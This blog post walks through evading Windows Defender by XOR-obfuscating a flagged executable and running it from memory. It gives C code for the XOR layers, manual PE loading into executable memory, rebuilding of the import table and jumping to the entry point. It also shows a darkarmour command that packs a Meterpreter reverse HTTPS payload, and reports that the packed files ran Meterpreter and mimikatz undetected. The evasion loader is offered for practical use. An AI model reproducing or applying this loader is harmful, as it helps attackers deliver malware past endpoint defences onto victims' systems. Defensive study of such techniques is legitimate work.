Bypassing AV via in-memory PE execution

It's a common issue to have when your attacking a system (especially on windows) - having the local anti virus blocking your shells, beacons or malware (though I will be referring to them all as malware during this blog post). And it can cause untold hours of frustration trying to work out exactly what about your malware is causing it to get flagged an how to stop it. Here is an journey through my 'untold hours of frustration' before finding a nice way and creating a tool to allow any flagged PE file to bypass all common anti-virus (that I've have tested it on).

The malware I'm going to be using is metasploits windows/x64/meterpreter_reverse_https stageless payload, this is because it is very widely detected but also commonly used making it useful to have a way of making it undetected. I'm also going to be testing against windows defender as it come pre installed on all windows 10 machines so the chances of facing it is very high, its also pretty good AV as well so it will be a fun challenge to bypass it.

Running the malware we are - as expected - straight away thrown an error, if we look inside event viewer we can get more information about it being blocked

So we can see here that defender has recognized it as HackTool:Win64/Meterpreter.A!dll and it was caught using 'Real-Time Protection'

It's pretty obvious that its not going to be possible to execute it straight of the disk and get a session, we could try altering values inside the binary to stop it looking so obviously like meterpreter but that would be cheating as we are trying to find a universal way to defeat defender ;)

So instead of loading and executing the malware from disk, why don't we execute it from inside memory instead?

@JosephBialek has created Invoke-ReflectivePEInjection which is kinda the same idea but is a powershell version instead which is very cool but not quite what we need. But we will be following a similar process as it does when executing our own malware, Which will go as so...

  • Encrypt the malware and store it in memory
  • Parse the DOS header &
  • Re-create the Import Address Table
  • Get & Jump to the new entry point

Encrypting the malware

It's kinda vital we encrypt the malware, not cause there's any real cryptographic need, but just because if we leave a whole copy of our malware hanging around inside our binary where still gonna get detected, which ain't so cool.

So instead of going down the AES/RSA route with our encryption (kinda pointless as we want obfuscation though encryption.) So therefore we are going to be using XOR with multiple layers (though as @beli4l_ on twitter pointer out it is possible to get the original malware if you XOR the encrypted data with the XOR'd result of all the keys). Below is the code to encrypt the code.

  for (i = 0; i < array_len; i++) {
      decrypted_bytes[i] = keys ^ image_crypt[i];
      image_crypt[i] = '\\0';
  }
  
  // repeat this for each key
  for (i = 0; i < array_len; i++) {
      decrypted_bytes[i] = key%s ^ decrypted_bytes[i];
  }

Parsing the DOS header

When parsing the DOS header there are some important structures where going to need

To check for the magic bytes inside the malware, just to make sure we can actually execute it.

For checking the malwares PE signature (again making sure that its valid) and using the OptionalHeader value to give us access to IMAGE_OPTIONAL_HEADER structure

To get the image base & entry point address while also getting the size of the image & headers as a whole. This will then allow use to allocate the correct amount of memory.

Giving us access to the addresses, sizes and data in each section so we can copy it into the space we allocated above.

Below is the code we will use to do all of that

LPVOID AllocateImage(LPVOID base_addr) {
      LPVOID mem_image_base = NULL;
      PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;

      if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic)
      {
          return NULL;
      }

      PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);
      if (IMAGE_NT_SIGNATURE != nt_header->Signature)
      {
          return NULL;
      }

      PIMAGE_SECTION_HEADER section_header = (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);

      mem_image_base = VirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage , MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

      if (NULL == mem_image_base)
      {
          mem_image_base = VirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
      }

      if (NULL == mem_image_base)
      {
          return NULL;
      }

      memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);

      for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++)
      {
          memcpy((LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), section_header->SizeOfRawData);
 		  section_header++;
      }
      
      return mem_image_base;
}

Re-creating the Import Address Table

The important structure we will need this time are

We will use this to get both the address and size of the IAT (import address table). Once we got the address we will use VirtualProtect to change the permissions of it to PAGE_READWRITE so the next step will work.

This is used to get access to a structure that contains the information about the import address table (a lookup table for memory addresses of DLLs that can be used when a function in other library is called.) We will be using this to get the names of the DLLs used by the malware and load them using the LoadLibraryA function. Once we have loaded the DLLs into our own address space we need to loop through and use GetProcAddress to get the correct new addresses of the functions required by our malware and add a reference to it in the IAT.

This will give us the name of each function called by the malware, once we have these names we can use GetProcAddress to get the addresses from the DLL they are in and then add the correct new addresses to the IAT.

Allows us to get a function name from an address

And putting that all together you get...

VOID ReCreateIAT( PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
{
    DWORD op;
    DWORD iat_rva;
    SIZE_T iat_size;
    HMODULE import_base;
    PIMAGE_THUNK_DATA thunk;
    PIMAGE_THUNK_DATA fixup;

    PIMAGE_IMPORT_DESCRIPTOR import_table = (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (UINT_PTR)dos_header);

    DWORD iat_loc = (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? IMAGE_DIRECTORY_ENTRY_IAT : IMAGE_DIRECTORY_ENTRY_IMPORT;

    iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;
    iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;

    LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);
    VirtualProtect(iat, iat_size, PAGE_READWRITE, &op);
    while (import_table->Name) {
        import_base = LoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));
        fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
        if (import_table->OriginalFirstThunk) {
            thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);
        } else {
            thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
        }

        while (thunk->u1.Function) {
            PCHAR func_name;
            if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
                fixup->u1.Function =
                    (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));

            } else {
                func_name = (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);
                fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name);
            }
            fixup++;
            thunk++;
        }
        import_table++;
    }
    return;
}

Get & Jump to the new entry point

Once that we have the PE all set up in memory its time it execute it!

We can get the entry point by using the AddressOfEntryPoint member of the structure IMAGE_OPTIONAL_HEADER. This will give us the entry point relative to the base address of the image, so in order to get the correct address we will need to add it to our base address (which will be returned from our other function AllocateImage.) The code to do this is shown below.

LPVOID EntryPoint = (LPVOID)(nt_header->OptionalHeader.AddressOfEntryPoint + (UINT_PTR)image_base);

Now we got the entry point we can call it using

((void(*)())(EntryPoint))();

This will treat EntryPoint as a function and will use the call instruction to change the programs current instruction pointer (in the case of my 64 bit machine rip) to the first instruction in EntryPoint. This can be seen by the disassembly shown below.

Finally bypassing AV

I've put this all together in a tool call darkarmour, feel free to go check it out. I will be using it to demonstrate bypassing defender. I ran darkarmour with the command...

./darkarmour.py -f meter.exe -j -l 5 -e xor -o darkmeter.exe

This will take the file meter.exe that we tried to execute earlier, do the steps described above, and output darkmeter.exe which should hopefully bypass defender.

And it does!

Just to make sure we, lets also try executing mimikatz.

Yep, also able to run that :)

Behavior Analysis

This is an issue that is unique to each piece of malware, and that's defenders ability to detect common behavior of malware and use that to detect and shutdown the malware. This is a problem as it's detection that happens after the malware has been executed, meaning that that only way to bypass it is by changing the actual behavior of the malware. Below is the error thrown by defender.

I've found in testing that behavior analysis is quite hit an miss, where sometime it will work and block the malware. Where as other times, more often than not, it will completely ignore it and let it carry on executing. Due to this I don't really see much point in investing time to bypass this feature. I imagine it would be fairly simple to though by editing strings, adding sleeps and changing the execution flow.

In the next post I'll be looking at more interesting ways of defeating defender (without being loud and disabling it) when you've got the upper hand and can execute code as NT AUTHORITY\SYSTEM.